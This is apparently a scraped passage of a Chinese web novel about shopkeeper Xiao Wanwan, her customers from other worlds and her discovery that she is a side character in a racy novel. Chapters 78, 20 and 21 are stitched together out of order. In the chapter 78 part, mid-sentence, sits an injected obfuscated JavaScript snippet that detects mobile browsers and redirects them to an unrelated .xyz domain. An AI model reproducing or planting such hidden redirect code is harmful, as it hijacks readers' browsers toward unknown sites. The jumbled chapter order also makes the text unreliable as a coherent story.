如烟大帝玩起高科技产品不比现代人差，除了听不懂网络词汇，看不懂简体字，不明白飞机高铁汽车，看剧看动画片是一点不耽误，甚至在剧集中品味出两个世界的异同，渐渐露出深思的表情。 这回，柳如烟不知道怎么点进一部古装长剧集，迷上了一个扮相俊美的男演员。 “换个人追，这是人渣，上学的时候脚踏两条船，还带前任去打胎，听说抠门的很，打胎的钱都是女孩子出的，一分不给。” “他也太坏了，简直是禽兽！”柳如烟露出震惊脸，随后质疑道：“既是不光彩的私密事，你又是如何得知？” 萧妧妧：“同班同学，女孩子闹上门了，我们那一届基本都听说过他的八卦。” 柳如烟看上的男演员就属于圈子里有背景的一类，瞧，刚毕业，出演男二的古装剧已经播放到大结局。 “你不练舞了？” 萧妧妧推着史努比进院子，看她一副如遭雷劈的伤心样，顺口问了一句。 接触下来，萧妧妧隐约感觉到柳如烟有点恋爱脑，这两天待在小卖部躺平没去找她的男主角，萧妧妧挺好奇是什么情况。 柳如烟撇撇嘴，神情别别扭扭的，半天没说出话。 萧妧妧一看便明白，她心里多半是原谅了，只缺台阶呢，就看男主什么时候上门哄。 “吃午饭了吗？要不要一起？”萧妧妧转开话题。 柳如烟点点头，又摇摇头，双臂环胸，不满抱怨：“吃过啦，昨儿没回去用膳，宫里竟敢传本宫绝食……气坏本宫了，显得本宫多在意他似的。” “可惜了，炸鸡薯条蛋挞鸡排可乐……只能我自己吃了。”萧妧妧抱着老爷爷牌全家桶，惋惜叹气。 柳如烟嗅了嗅，炸物的香气飘进鼻腔。 “吃是吃了，不妨碍本宫再用点点心。”柳如烟欢快扑来，扒拉包装袋去看里面的东西：“是那个什么疯狂星期四吧？” 萧妧妧更想笑了，果然没有白上的网。 “你不是吃了吗？这些是我的午饭。”萧妧妧故意侧身，躲开她的手。 柳如烟身形娇小，萧妧妧相较偏高挑，有意躲避的情况下，她只能又蹦又跳，张牙舞爪的昭示存在感。 “不行不行！本宫就尝一口。” “萧老板你别跑，本宫命令你站住。” 几声惊叫，188号小院炸开一般，闹腾得不行。 “咚咚咚” “请问，这里是不破斋吗？” 两人一个躲一个追，敲门声打断了她们，立时停下脚步，转头看着门口。 拉着行李箱，提着公文包，个子中等穿着一身西装的地中海中年男人出现在眼前。 他局促地打量小院，又看一眼玩闹的两个年轻女孩，不确定地寻找门牌。 78. 第 78 章 柳如烟缩了缩脖子，抱着平板回到屋檐下。 没等坐稳，她又跑回来，趁萧妧妧不注意，抢走全家桶。 萧妧妧在外面吃过回来的，全家桶本就是路上瞧见，想起柳如烟好奇快餐的味道，顺路买回来给她尝尝鲜。 她没去管柳如烟，快步走到门边待客。 “对，这里是不破斋，您要买古董？” 地中海男人闻言松了一口气，急忙接话：“对，买古董。” 萧妧妧再次打量他，不说是买古董，还以为是来出差的呢。 地中海男人放下行李，抱着公文包跟进古董铺。 监控是全方位的，萧妧妧不担心，让他随意看，转身回到院子去和柳如烟抢鸡腿。 饿不饿不重要，看柳如烟跳脚很有意思。 柳如烟学着萧妧妧的样子，一手鸡腿一手蛋挞，吃得嘴巴油亮亮。 两颊一鼓一鼓咀嚼片刻，柳如烟低声和萧妧妧提醒道：“他看起来鬼鬼祟祟，不像买东西，像偷东西的。” 萧妧妧本没多在意，闻言扭头观察地中海男人。 他抱着公文包不撒手，在店里一圈圈打转，眼里没有一点对古董的热爱，匆匆扫过一眼全是茫然，以及不明白为什么标价会那么高。 不是萧妧妧以貌取人，这位地中海先生社畜味太浓了。 确实如柳如烟所言，不像是来买古董的。 萧妧妧一看时间，下午两点半，地中海男人在铺子里逛了将近一小时。 她擦了擦手，警告柳如烟不许把骨头扔地上，起身进店。 柳如烟刚要随手丢东西，想到这里没宫女伺候，萧老板是真的会逮着她打扫卫生，悻悻地找垃圾桶。 “先生有看上的东西吗？” 地中海男人一激灵，随即面色讪讪的应和：“我再看看，再看看。” 男人态度非常温和，说话笑脸相迎，萧妧妧倒不好意思催促。 “古董不比其他，是该挑和眼缘的。”萧妧妧走进柜台，端出紫砂茶壶，“不知道您喜欢什么类型的，不如看看这套紫砂壶？顾景舟大师的早期作品。” 地中海男人茫然接过茶杯，心不在焉地瞧。 萧妧妧笑着介绍：“这套价值一千万，您别觉得贵，送去拍卖行肯定不止这个价，新店开业期间有九折优惠。” 地中海男人像接了烫手山芋，呆愣几秒，马上变脸，双手捧住茶杯，小心又谨慎地送回柜台上。 他尴尬地挠挠耳朵，左顾右盼片刻，指向首饰区域。 “我、我想给老婆带点礼物，能介绍介绍？” 竟是一点多余的目光都没有分给紫砂壶。 萧妧妧这回可以肯定，地中海男人绝对不是想买古董。 她立刻升起警惕心，藏好紫砂壶，为他介绍发簪耳坠以及手串。 地中海男人略听了一会，懒得费心思挑选，直接选中了一串她还没来得及介绍的碧玺手串。 萧妧妧连证书带盒子一起交给他，地中海男人露出了懊悔神色，拘谨的询问道：“老板，我可以在这里多看看吗？” “当然，您随意。” 萧妧妧愣了愣，想不通他到底要看什么，指甲盖大点的地方，他不知道转了多少圈。 开门做生意没有说赶客的，萧妧妧笑着招呼几句，回到院子里和柳如烟说话，余光一直注意着他。 柳如烟好奇，跟着打量地中海男人，可没看出什么异常，继续快快乐乐追剧。 要怪就怪柳如烟追得短剧实在太气人了，萧妧妧陪着看了十几集差点上头，等她回过神来，猛地扭头看向店铺，里面空无一人。 “喏，坐那睡着了。”柳如烟捣了捣她胳膊，指向木绣球树下的石凳。 萧妧妧这下是真看不懂了，她是开古董铺，不是图书馆不是钟点房，怎么跑这儿来消磨时间？ 再一看，地中海男人连打盹都紧抱公文包不撒手，萧妧妧的好奇心蹭蹭涨。 她调出系统，对准男人怀里的公文包扫描估价。 【叮~本月免费估价次数剩余二十次，是否继续估价？】 萧妧妧一脸懵，估价竟然还限制次数？ 【尊敬的萧妧妧女士，您是本交易系统尊贵的三级用户，每月可获得三百次免费估价，超出后按估价商品价值收手续费，收费标准为：所估商品价值*30%，费用以当前位面货币结算。 四级用户可获得六百次估价机会，五级用户不限估价次数】 萧妧妧叉着腰，暗道：好啊，原来在这里等着呢。 30%的手续费，它怎么不去抢啊！ 心里骂骂咧咧好一会，萧妧妧冷静下来，懊恼叹气。 刚得到新功能，她一时没控制住，先是给店铺的古董们估价，再是去两个交易市场浪了一圈，期间还多次用估价功能扫描了有的没的。 不知不觉，她就用掉了将近三百次估价机会。 萧妧妧安慰自己，三百次挺多的，这个月情况特殊，用得快很正常，后面省着用足够了。 她转头去看面板上的升级进度条。 进度条显示的是当前的交易次数，扣除升级耗费的次数从零累积，之前以为功能够用，一时半会又很难升级，便没仔细看过，这一眼看过去，萧妧妧只有绝望。 进度条在面板最下方显示，比她命还长，而交易数量则以填涂方式体现在完整进度条上，萧妧妧乍一眼看过去什么都没有，不断放大画面，才看到头发丝粗细的进度。 萧妧妧没脾气了，果断放弃估价。 眼看着地中海男人要打呼，萧妧妧不得不拍了拍他肩膀。 “先生，您要不要先回去休息休息？小店该关门了。” 地中海男人瞬间惊醒，他警觉地抱紧公文包，瞳孔涣散几秒，很快看清面前的是古董铺老板。 抬头，天上铺满霞光，天际隐约看见青黑，竟是等得睡着了。 地中海男人搓了一把脸，面色窘迫地起身，“老板，您的铺子明天还营业吗？” 萧妧妧笑容微僵，咋，还要预约明天过来午睡？ “正常营业。”萧妧妧顿了两秒，礼貌回答。 算了，看着不像是来捣乱的，就当是捧个人场吧。 古董铺开业两天，客人少得可怜，萧妧妧想过要不要在门牌上贴个号码，变成预约制。 这一天天守在铺子里，挺无聊的。 送走柳如烟，小卖部只剩下她一人，萧妧妧检查门窗，把贵重古董藏进空间，赶在天黑透前回到春山居。 难得，云昭昭晚上没去兼职，抱着腿在院中秋千椅上荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031333|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊荡。 萧妧妧一蹦一跳的进来，随口问道：“怎么愁眉苦脸的？出什么事了？” 云昭昭挪了挪屁股，让出一半的位置，萧妧妧坐下，脚跟蹬地，秋千椅载着两人晃悠起来。 “妧妧姐，你说我要送什么生日礼物给黎行墨呢？” 萧妧妧不假思索：“送你自己。” 云昭昭闹了个大红脸，拖长音调：“妧妧姐！我是认真的，黎学长生日撞上七夕节，听说那天要办宴会，我……” 云昭昭想到黎行墨几次明示暗示，讲述自己有多期待生日礼物以及情人节礼物，云昭昭就有多头大。 萧妧妧思索了一会，诚恳语气道：“我也认真的，他不缺钱不缺东西，最期待得到的，只有你了吧？” 萧妧妧嘿嘿笑：“认命吧，你们限制文小情侣不需要花里胡哨的东西。” 云昭昭茫然无助地眨动大眼睛，好像听懂了什么，又好像没听懂。 她小声说：“可是学长生日过后，不到一周是季随的生日……” 萧妧妧秒懂了她的未尽之意，这是怕端不稳水，闹得后院起火。 萧妧妧无能为力，她辅导过的舍友是1V1选手，1V2她没经验啊。 “季随说他在筹备拍电影，生日过后会忙起来……总之，他好像也很期待我的礼物，”云昭昭愁得头秃了，“可我根本不知道怎么办。” 萧妧妧眼睛一亮，“我倒是有个主意。” 云昭昭扭头看过来。 萧妧妧眼珠子转了又转，越想越可行，趴在云昭昭耳边出主意。 云昭昭浅听了前半句，欣喜了一会，很快露出迟疑神色。 “可是，这应该算是妧妧姐给他的礼物，和我没有关系啊。” 萧妧妧晃了晃手指，纠正道：“我和季随可没有任何关系，为什么要送他礼物？这都是你的功劳啊。” 云昭昭转念一想，话说的没错，但…… “不行不行，这太让妧妧姐破费了，”四下无人，云昭昭凑过去低声说：“季随这人可不正经了，不像是会拍电影的样子，我担心妧妧姐会亏本。” 云昭昭满脸恳切，“不过一个生日礼物，我再想想，妧妧姐犯不着冒这个风险。” 萧妧妧没忍住，捧起云昭昭略带婴儿肥的脸蛋狠狠揉搓一把，“昭昭你真可爱！” 揉够了，萧妧妧掏出手机搜索季随的资料，递到云昭昭面前示意她看。 “放心吧，不止是因为你。季随虽然名气不大，但确实是年轻一代导演里比较有思想有风格，关键是有能力的导演。 你看，这是他上一部拿奖的影片，我挺喜欢的。我看好他的才华，所以我想提前投资买股。 怎么样？这样你还要不要帮忙牵线搭桥？” 云昭昭捧着手机，专注地浏览网页。 这是季随的另一面，她不了解的一面。 不管是他的工作，他从事的行业，包括他的理想他的坚持，以及他的作品，云昭昭像是认识了另一个季随。 萧妧妧分享网页链接给她，“回去慢慢看，再考虑考虑我的提议？” 云昭昭意识到自己看呆了，脸颊微红，认真地点点头。 夹带私货，顺带为自己谋到福利，萧妧妧神清气爽，背着双手美滋滋回房间。 第20章【VIP】 20 第20章 ◎他们不对劲！◎ “答对了,是金丝楠木。” 博主淡淡的声音响起，萧妧妧诧异地瞪大眼睛，抱起匣子仔细打量。 这一场直播几乎是在她知识盲区里横冲直撞，听说过金丝楠木,长什么样真不知道,值多少钱就更没概念。 没等她看评论区好心网友的科普,博主先一步为她解答。 “灯光右边移一点,大家可以仔细看看，这是水波纹,还是有点深度的水波纹，凡是带了水波纹的,颜色都会有变化，非常漂亮。 视频清晰度不高,可能会有色差，我这里看着是帝王黄的金丝楠,是比较值钱的一种。 当然,最好还是拿到鉴定证书,有证书价值会更高。 匣子竖起来…大家继续看,匣子四面花纹是一致的,可以断定出自同一块料，别看匣子光秃秃的，没有螺钿没有宝石镶嵌，其实更值钱。” －难怪,比我家里的好看，还闪亮。 －这不得大几百万？ －穷笑了,小姐姐就不能无缘无故包养我吗？ －帝王黄,嚯！ －啊啊啊啊真的好漂亮,快告诉多少钱，让我死心。 －不好说，之前有个帝王黄的板子，卖出去160多万，这是一整个匣子，你们自己算吧。 弹幕天花乱坠，评论区一堆网友嗷嗷叫，博主以金丝楠木为中心，讲到了历史。 萧妧妧已经没心思听，满脑子回荡着值钱两个字。 现在让她单膝下跪，冲着龙傲天喊一句“你是我的神”也不是不行。 是真的神，财神，龙傲天就是她的活财神啊！ 好险，差点干出买椟还珠的蠢事。 果然，以后经手的物件甭管大小，还是要请识货的人掌掌眼。 “谢谢傅教授，我家里还有不少，我整理整理，下次咱们再连线可以吗？” 现在是没有，可不保证以后没有，先做个铺垫，连借口都省去了。 “可以。” 话音落下，系统通知到了，【不问】添加她为好友。 不问就是傅教授的艺名。 萧妧妧更高兴了，不仅添加好友，还关注了博主。 为了让博主留下深刻印象，她把头像换成金丝楠木。 没多久，陆续有十几个人关注了她，添加好友的大约七八个。 再一刷新，私聊多了三十多条。 撇去说骚话求包养的，倒是有那么几条正经消息。 正经是正经，但她不敢回复啊，个个追问她卖不卖牙雕、玳瑁、砗磲。 萧妧妧可记着评论区的科普呢，直接回复不卖。 要卖也不能在网上找啊，这玩意风险大，古玩水又深，一窍不通的她不适合做任何决定。 萧妧妧有耐心等，大不了转手卖给龙傲天呗。 真诚感谢博主一番，萧妧妧揣着激荡的心情断掉连线。 哪知道没几秒，博主发来消息，除了系统自动发送的打招呼，剩下的是退掉打赏的通知。 萧妧妧瞥了两眼，感叹一会博主人真好便放下。 金锭金条随意扔在匣子里，黄绸布皱巴巴，配不上金丝楠的价格。 萧妧妧重新整理一番，最贵重的金丝楠匣子独占空间一格，红木匣仍旧放些不值钱的手串，和翡翠耳坠一起摆在她的首饰柜里。 至于很刑的那几串，萧妧妧一串一串包好，码放在礼盒中，空出的地方塞金锭金条，然后全部塞空间。 它们太贵重了，放在保险箱她不能安心。 金貔貅寓意好，招财进宝，萧妧妧没舍得藏起来，决定带回家摆在房间里，多多为她招财。 简单整理一下，房间恢复整洁，时间来到下午四点。 萧妧妧总算有时间瘫着了，一躺下，肚子咕噜噜叫。 上午在外面奔波，热得没胃口，中午便没吃，这会歇下来，饿得难以忍受。 开小卖部的好处在这一刻体现的淋漓尽致，她奔向冷藏柜，选了自己爱吃的便当加热。 浅浅吃了两口垫垫肚子，张芸女士发来消息，他们已经到目的地，嘱咐她别忘记给家里的宠物喂食，萧妧妧回复消息，又扒拉两口草草结束。 时间差不多，萧妧妧开始挑选今天的晚饭。 要庆祝云昭昭找到工作，不能自己做菜应付了事，得点一桌大餐。 外卖软件挑挑拣拣，没等她选好晚餐，后门位置突然传出“啪”的一声。 萧妧妧手一抖，差点摔了手机。 抬头看，苏娇娇气喘吁吁，扶着木门往门外位置张望。 这是……遇到麻烦了？ 苏娇娇一身蓝底白花的麻布上衣，裤子是灰扑扑的藏青色，脑袋上顶着同色的头巾，臂弯挎着竹篮。 脸上抹了东西，脏兮兮，光洁的下巴位置多了一颗豆子大小的黑痣，要不是穿着打扮有独特性，萧妧妧恐怕真认不出。 萧妧妧没打扰她，静静等着她，顺带下单外卖送去家里。 不出三分钟，苏娇娇一脸凝重地走进小卖部。 萧妧妧看了又看，没忍住心中好奇，“苏女士，是不是遇上麻烦了？” 苏娇娇恍然回神，望着萧妧妧，语气恳切：“萧老板，你的店铺可以借我躲躲吗？” 见她面露为难，想解释又不好说什么的样子，萧妧妧体贴的没有问下去。 规矩她懂，保密嘛。 “要待多久都行，喏，院子后面有一间客房，你尽管住。” 外面天色已晚，还不知道苏娇娇要躲多久，索性把客房让给她。 萧妧妧晚上是要回家住的，于是先拉着苏娇娇去客房，教她怎么用这里的电器。 苏娇娇原本神思不属，愣愣的听了两句后忍不住发问。 等萧妧妧一一解释后，她拿起遥控器，一会开关空调，一会打开电视机，像个好奇心重的孩子。 萧妧妧刚好把老年机找出来递去，“这是我们这里的通讯工具，晚上我回家住，院子只有你，有什么事按下1键，这是紧急联络，自动打给我，其他号码不可以哦。” 苏娇娇小心翼翼地接过手机，如萧妧妧所言按下1。 果然，屏幕上显示拨号中，苏娇娇不知道要怎么办，抬头去看萧妧妧。 萧妧妧掏出手机，屏幕展示给她看。 她当着苏娇娇的面按下接通，手机举到耳边，走出房间。 苏娇娇学着她的样子，手机贴耳边，声音竟然不受她移动的影响，清晰传来。 苏娇娇瞪大眼睛，“好神奇，它是怎么做到不需要电话线通话的？” 萧妧妧刚要为她科普，苏娇娇却是摸着手机，眼底的向往和欣喜掩藏不住。 “萧老板，以后的我们，都会用上这么神奇的东西？” 萧妧妧重重点头，“对，我们国家的绝大多数人都能享受到高科技带来的便利，这一切，离不开苏女士、离不开千千万万正在奋斗的同志们。” 苏娇娇神情怔愣，看着萧妧妧欲言又止。 她从未说过自己在做什么，怎么萧老板了如指掌的样子…… 苏娇娇心正乱着，便没顾得上刨根问底，紧攥手机，泪光闪现。 看她陷入自己的思绪，情绪忽高忽低，萧妧妧略等了一会，等她平静下来，询问她吃什么，她来点外卖。 苏娇娇看她抱着刚才通话用的手机点点戳戳，没多久，一份冒着热气的食物送进店铺里。 “我也可以……点到食物吗？” 苏娇娇惊讶的半张着嘴巴，忙低头胡乱按快捷键，不明所以。 萧妧妧笑着说：“不可以，只有我的智能机有这个功能。” 苏娇娇失望，眸光暗淡了一瞬。 萧妧妧反思，难道是她太抠门了？要不给苏娇娇整一个智能机冲浪？ 苏娇娇：“萧老板叫我娇娇就可以，谢谢萧老板愿意收留我。” 萧妧妧摆摆手，不以为意，“我叫你娇娇，你叫我妧妧，不过是住一段时间，不算事。” “对了，你要的磺胺类药物，我开了三盒，现在给你吧。” 说着，萧妧妧把打包好的小包裹递给她。 苏娇娇惊喜不已，感叹萧妧妧年纪轻轻本事不小，磺胺药说有就有。 莫非也是用手机点的？ 萧妧妧摇头，“手机可点不了，需要去医院开。” 苏娇娇闻言，立刻去掏竹篮里的手袋。 “麻烦妧妧了，这些钱你一定要收下。” 原是带出来打点用的，没想到消息走漏，她被人堵在深夜的码头，进出不能。 不是第一次和苏娇娇交易了，萧妧妧姑且能说一句了解她，大大方方地收下四根金条，一起扔进礼盒中存放。 “你趁热吃，晚上睡觉记得锁门，后门我也会锁起来……” 萧妧妧絮絮叨叨的嘱咐她，一副不放心的样子，苏娇娇听着听着漾起笑容，双手托腮看她。 萧妧妧被她看的脸红，挠着头回望过去才发现，哪怕是笑意吟吟，苏娇娇眉宇间仍有挥之不去的忧愁和凝重。 她一定是遇上大麻烦了……萧妧妧的心跟着揪起来，偏偏还不能问。 吃完饭，又教苏娇娇如何使用浴室马桶等等物品，准备好洗漱用品，时间来到6点。 云昭昭已经到家，外卖早已送到，等来等去没等到人，急得打来电话。 萧妧妧匆匆回复消息，指着小卖部所有吃的喝的，大气挥手，“晚上要是饿了随便吃，我请客。” 苏娇娇攥着老人机，木桩子似的守在木门边，紧咬嘴唇观望她的世界。 听到萧妧妧的话，她偏过头笑了笑，第N次真诚道谢。 “谢谢你，妧妧。” 萧妧妧想了想，还是说出心里话，“如果真遇上大麻烦，不如跟我说说，说不定我能帮上忙呢。” 苏娇娇一愣，思绪不禁偏移，好一会，她转过身直视萧妧妧。 “嗯，我记得了，如果……我会的。” 萧妧妧暗暗祈祷，希望苏娇娇的麻烦尽快解决吧。 《谍影》这本书她看的时候还在连载，多是从主角视角出发，配角发生了什么，她是一点没看到。 要不是苏娇娇讨喜，评论区有读者鸣不平，萧妧妧大约是连她的结局都不知道的。 可现在知道了也没用，不知道过程不知道剧情，白搭。 又是提前闭店的一天，和苏娇娇挥挥手，萧妧妧关上大门回到月牙巷深处。 还没到家门口，身形颀长的男人牵着手抓糖葫芦的小女孩从春山居出来。 萧妧妧疑惑了一瞬，一大一小已经走近，她陡然停下脚步。 怎么看起来有点像许经理口中的二太子，他的顶头祖宗？ 擦身而过时，萧妧妧借着灯光打量了一会，确实没认错。 一大一小的身影走远，拐进前面改换门庭的231号，萧妧妧刚回过神，又愣住了。 方爷爷的院子不会是卖给他了吧？新邻居？ 接二连三的巧合，萧妧妧只能感叹一句人生如戏，摇摇头回家。 迈进门，没等她喊出声，抬眼看到云昭昭绞着双手，垂头耷脑地站在屋檐下。 而对面，是比云昭昭高出几个脑袋，一侧身便能完全笼罩她身影的季先生。 “昭昭？” 萧妧妧绝对不会看错，两人之间肯定有问题。 具体是什么问题，萧妧妧看不出来，黝黑眼珠狐疑的在两人身上打转。 云昭昭顶着红扑扑的脸颊小跑过来，抱住萧妧妧胳膊往客厅里带。 “季先生找我问路，妧妧姐是不是饿了？外卖送来好一会了，我去热热吧。” 云昭昭看着纤瘦，力气却不小，几乎是拽着她离开。 看她一副逃离案发现场的急迫样，更可疑了。 想到云昭昭性子腼腆，又刚经历过家里的糟糕事，萧妧妧只好按捺住。 两人走到大厅门口，迈上台阶，院门咚咚咚敲响。 “云老师，你的包。” 萧妧妧转身看去，离开没多久的男人折返回来，他站在院子门口，一手插兜，一手拎着帆布袋子，目光直勾勾盯着萧妧妧……身边的云昭昭。 奇怪，这熟悉的感觉到底是怎么回事……萧妧妧忍不住挠头。 她又去看季先生，差不多的插兜姿势，目光根本没从云昭昭身上挪开过。 萧妧妧感觉自己和隐形人没区别。 云昭昭红着脸跑过去，双手接过帆布袋，看到里面完好的录取通知书，红着脸和门口的男人道谢。 “黎先生，这位是萧妧妧，是春山居的负责人，我现在住妧妧姐家。”云昭昭想起什么，拉过萧妧妧结结巴巴的介绍，“妧妧姐，这位是黎、黎行墨，是我教的孩子的舅舅。” 萧妧妧语调古怪地重复：“李兴墨？” 黎行墨收回目光，微微颔首和萧妧妧打招呼。 “黎明的黎，行动的行，笔墨的墨，就住在231号，以后都是邻居了，多多关照。” 弄清楚是哪三个字，萧妧妧脑袋轰一下炸开。 云昭昭、黎行墨……是不是巧得过分了？ 萧妧妧发呆的时候，两人又聊上了，她说声抱歉，踉踉跄跄回到大厅找住客登记薄。 31岁，京城人，姓季，名随！ 浑身汗毛顷刻间竖立，心脏咚咚两下，犹如擂鼓。 【作者有话说】 预收——《穿成末世文女配》 文案： 穿越到丧尸爆发的异世，温璨璨以为自己要完。 好在她觉醒了治愈、种植双异能，美滋滋进入第四星后勤基地。 后勤基地很重要，官方很看重，听说基地长位高权重，异能上长了个人，凶悍异常。 温璨璨想，凶悍好啊，想在异兽遍布的第四星生存，就需要一个凶悍的领导者。 后来，温璨璨得知基地长官姓萧名胥，笑不出来了。 原来是穿书啊，拿的是末世大男主剧本，演的是早死恶毒女配。 女配妖艳又轻浮，是基地长萧胥的作精前任，结局死得非常惨。 还好她穿得早，基地小喽啰想和高高在上的基地长官有牵扯，根本不可能。 温璨璨决定苟到大结局。 长官出席表彰会，大家争相敬酒，恭维奉承，温璨璨躲在角落，埋头苦吃； 轮岗监测汇报长官异能数据，温璨璨推三阻四，从不多说一句； 有人见不得她好，蹿捣她借职务之便，攀附萧胥。 温璨璨吓得一哆嗦，断然拒绝，“对不起组长，我和萧长官不熟。” 凭借为数不多的记忆，温璨璨努力生活，努力避开萧胥。 忙时种田浇菜，闲时打信息差囤海晶石，坐等翻身当富婆，退休养男模。 温璨璨以为自己躲得很成功，直到庆功宴上，一身酒气的萧胥穿越人海走到她身边。 “温组长认为，我比男模差在哪？” 20-30 21 第21章 ◎你们都是主角，就我一个女配呗？◎ 云昭昭、黎行墨、季随,再加上她，萧妧妧，正好能凑一本《如何同时攻下三个野男人》 哦，对了,三个野男人,还差一支股没出场。 实在太久远了,萧妧妧这会连名字都想不起来,这可是她上中学时躲被窝看的小说呢。 别看名字土得她说不出口，上学时她可是追得昏天暗地,小脸通黄。 可惜看到一半被老妈丢进垃圾桶，这本限制级买股文后面有哪些剧情,她说不出个一二三。 结局倒是知道一点，三个男主排队表白,坐等女主翻牌子，是开放式结局。 别说什么只是撞名的巧合,一次撞两次撞,三次四次再撞,连角色身份背景设定都一样,那就绝不可能是巧合。 同样是贫困山区飞出来的坚韧小白花,同样在资助人家里勤工俭学，同样考取A大，同样和资助人家的住客、邻居发生爱的摩擦…… 由不得她不多想，尤其在她获得交易系统,链接各个位面的角色后。 再看院中相对而立的三人，萧妧妧精致漂亮的五官直接皱成一团,戴上痛苦面具。 救命！她只是口嗨玩梗,没想过真的要变成女配啊。 难怪会产生莫名其妙的熟悉感,这画面，刚好符合剧情。 萧妧妧别提多难受了，既想围观剧情嗑CP，又暗恨自己拎不清，都什么时候了还要吃瓜。 瞄一眼门外的三人，萧妧妧苦恼叹气。 行行行，你们是主角，只有她是小卡拉米配角呗？太惨了吧…… 小配角萧妧妧抱紧脑袋，冥思苦想，她得想办法避免走剧情。 剧情是什么来着……等等，这书有剧情吗？ 连标点符号都自带颜色的故事里，各种限制级情节轮番上演，女配出场除了增加刺激性还有什么用？ 剧情想不起来多少，但该死的，萧妧妧靠着回忆记起了不该想起的内容。 萧妧妧懊恼捂脸，现在可不是想废料的时候。 书里的反派女配哪个不是非死即残还破产的下场？ 因为和配角撞名，萧妧妧特意去看了一眼女配的结局，章节标题上明晃晃的写着“萧妧妧之死”几个字。 萧妧妧两眼失焦，蹲在地上陷入自闭。 “妧妧姐你怎么了？是不是不舒服？脸都黑了。” 云昭昭一进门，看到一脸生无可恋的萧妧妧，吓一跳。 萧妧妧叹气，黑的何止是脸啊，还有眼前和印堂。 “没事……”总不能说她知道自己会有血光之灾吧。 含糊应了一声，抬头，萧妧妧目光复杂地盯着走进来的身影。 云昭昭的脸蛋红扑扑，眼眸水润，唇角湿润。 不怪萧妧妧思想不健康，女配像润滑油，是男女主play的一环，每次出场总伴随着男女主激烈地摩.擦，还有必不可少的一句“你也不想被人发现吧？”。 作为旁观者，萧妧妧会咬住被角大喊刺激，作为故事的一员，她只想裹紧被子闷死自己算了。 收敛思绪，萧妧妧有气无力地摆摆手。 还是担心担心自己吧，她一个女配，哪轮得着她为女主操心啊。 云昭昭不放心，扶她去沙发上坐下，一会摸萧妧妧脑门，一会又去摸她脉搏。 萧妧妧让她闹得一点情绪都没了，长叹一口气，问：“昭昭，你觉得我讨人嫌吗？” 云昭昭茫然眨眼，“啊？妧妧姐你在说什么呢，你怎么会讨人嫌？是不是谁说你坏话了？你告诉我，我去帮你骂回去，我吵架很厉害的。” 她义愤填膺，撸起袖子要去干架的姿态。 谁敢说妧妧姐不好，谁就是她云昭昭的敌人！ 萧妧妧心里熨帖，不放心的又问：“那你觉得我势利眼吗？” 云昭昭不知道萧妧妧怎么了，突然说好多奇怪话。 她抱紧萧妧妧的胳膊，脑袋靠在萧妧妧肩头，语气认真又恳切。 “妧妧姐是我长这么大遇见过最好的人，没有缺点！背后说妧妧姐坏话的人，他们都是嫉妒！是求之不得的破防！” 萧妧妧并没有被安慰到，拧眉，“那你觉得我自恋、自私、嫉妒心强、爱攀比、低俗、轻浮、喜欢倒贴、喜欢抢别人的男人、败家……吗？” 描写女配的笔墨并不多，以上是她能从文字中感受到的亿点点毛病。 当然，长相艳丽娇媚等形容，在她看来是优点，不能算进缺点行列。 云昭昭惊讶极了，不可置信地望着萧妧妧。 “妧妧姐你在说什么呢？你怎么能这么想？你告诉我到底是谁说的这些话，是不是妧妧姐的男朋友？他在PUA你！” 云昭昭的语气和态度让萧妧妧安心了。 不是萧妧妧自夸，她也觉得这些毛病不太符合她对自我的认识。 没犯女配的臭毛病，没走女配的烂剧情，还会打出女配的悲惨结局吗？ 萧妧妧谈兴不佳，揭过话题，埋头扒饭。 云昭昭欲言又止，止又欲言，反反复复，最终什么都没说，小心偷觑萧妧妧脸色。 萧妧妧食不知味地咀嚼着丰盛晚餐，理所当然的，这一晚她愁得几乎没睡着。 虽然日子不够富足，但也算安稳，好端端变成别人故事里的丑角、笑料，甚至惨惨的，她多冤啊？ 第二天，她盯着黑眼圈从床上爬起，赶在天蒙蒙亮的时候去小卖部开门营业。 路过网红咖啡店，点了一杯苦唧唧的冰美式*提神，顺带给苏娇娇带一份早饭。 抱着满怀的东西进店，时间才走到8点，意外的，苏娇娇竟然坐在小圆桌前，一手撑着脑袋，偏向后门位置。 走近一些，萧妧妧看到她脑袋一点一点，裹在头上的布巾已经滑落在膝上。 这是一宿没睡？ 萧妧妧嘀咕，这得是多大的麻烦啊。 看她睡得香，萧妧妧猜她刚睡着没多久，不好意思推醒她，于是拿来披肩裹住肩膀。 她静悄悄的拉闸，开灯，做好营业准备，烫手的早餐刚好适合下肚。 萧妧妧把自己那份煎饼吃了，又喝下一杯咖啡，顿时精神抖擞。 关于自己是女配这件事，找不到明确解决办法前，她决定先逃避。 “咚！” 萧妧妧刚整理好情绪，小卖部里传来沉闷的碰撞声。 偏头一看，是睡得迷迷糊糊的苏娇娇磕着脑袋了，这会撅着嘴揉脑门呢。 等她看到身上的披肩，恍然意识到周遭的变化。 “萧老板……” 萧妧妧推去煎饼，“没问你爱吃什么，我随便买的，是我们这条街最红火的煎饼摊，应该不会太难吃。” 苏娇娇抹了一把脸，看了看假门后面，叹气，起身去洗漱。 再回来，两人一起蹲在假门边上。 苏娇娇一边小口小口咬煎饼，一边观察外面巡逻的队伍，一边愁眉苦脸。 萧妧妧纯粹是没事干，加上心里不得劲，陪着她蹲，面壁思过。 两人沉默无言蹲了一阵，萧妧妧先扛不住。 “娇娇，你那边到底发生什么了？你简单跟我说说，我帮你想办法啊。” 看她愁容满面，越来越心焦，萧妧妧憋不住问出口。 苏娇娇捧着半块煎饼，仰头，面露迟疑。 或许，萧老板真能有办法？ “你不用说前因后果，只告诉我你现在遇到的难题，这不违反规矩吧？” 萧妧妧是懂钻空子的，苏娇娇闻言，眼眸闪过清光。 “事情是这样……” 她凑到萧妧妧耳边，仔细讲述眼下急待解决的状况。 萧妧妧表情变了又变，“所以，你现在又被人围了？人特别多？” 苏娇娇点头，眉宇间带上一抹忧愁，“是，如果再不把他们引走，到时候……” 